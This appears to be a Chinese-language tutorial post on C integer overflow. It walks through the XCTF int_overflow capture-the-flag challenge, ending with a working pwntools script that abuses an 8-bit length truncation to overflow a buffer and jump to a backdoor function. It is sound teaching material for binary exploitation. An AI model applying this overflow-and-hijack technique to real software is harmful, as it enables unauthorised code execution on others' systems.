基本数据类型

再说整数溢出之前,我们首先的先来说一下C语言中的整型的数据分类。
数据类型分类主要分三类:短整型(short)、整型(int)、长整型(long)
符号分类:有符号、无符号
并且每种数据类型都有自己的大小范围
image-20250119185759490
整形:

Pasted image 20250214231319

#include <stdio.h>
int main(){
unsigned short int a = 1;
unsigned short int b = 65537;
if(a == b){
printf("Int overflow successfully!\n");
}
return 0;
}

编译
gcc -g test.c -o test
运行一下程序输出Int overflow successfully!
unsigned short int的范围是0~65535,对变量b的赋值超过了这个范围,因此hex的数据最高位被截断,从而变成了0x0001=1

示例

XCTF攻防世界int_overflow - 吾爱破解 - 52pojie.cn
Pasted image 20250215181914
只开NX(栈上不可执行保护),相当于没有开保护
放入IDA中
Pasted image 20250215182050
main函数选择功能,比较简单,看看login,两个可以利用的read
Pasted image 20250215182113

看login函数,0x19u表示无符号数

看看check_passwd函数
Pasted image 20250215182313

  • unsigned__int8表示8bit无符号整数,可能存在整数溢出
  • max_passwd为0x199,数据过大
  • 通过整数溢出,可将v2实际长度(260-264)截断变成(4-8)
    同时还能找到一个后门函数
    Pasted image 20250215182359
    Pasted image 20250215185941
    from pwn import *
    p=process("./IntOverflow")
    p.sendlineafter("choice:","1")
    p.sendlineafter("username:\n","zechariah")
    cat_flag_addr = 0x08048694
    payload = b"A" * 0x18 + p32(cat_flag_addr) + b"A" * 234
    p.sendlineafter("passwd:\n",payload)
    print (p.recvall())
    Pasted image 20250215185924
    get shell!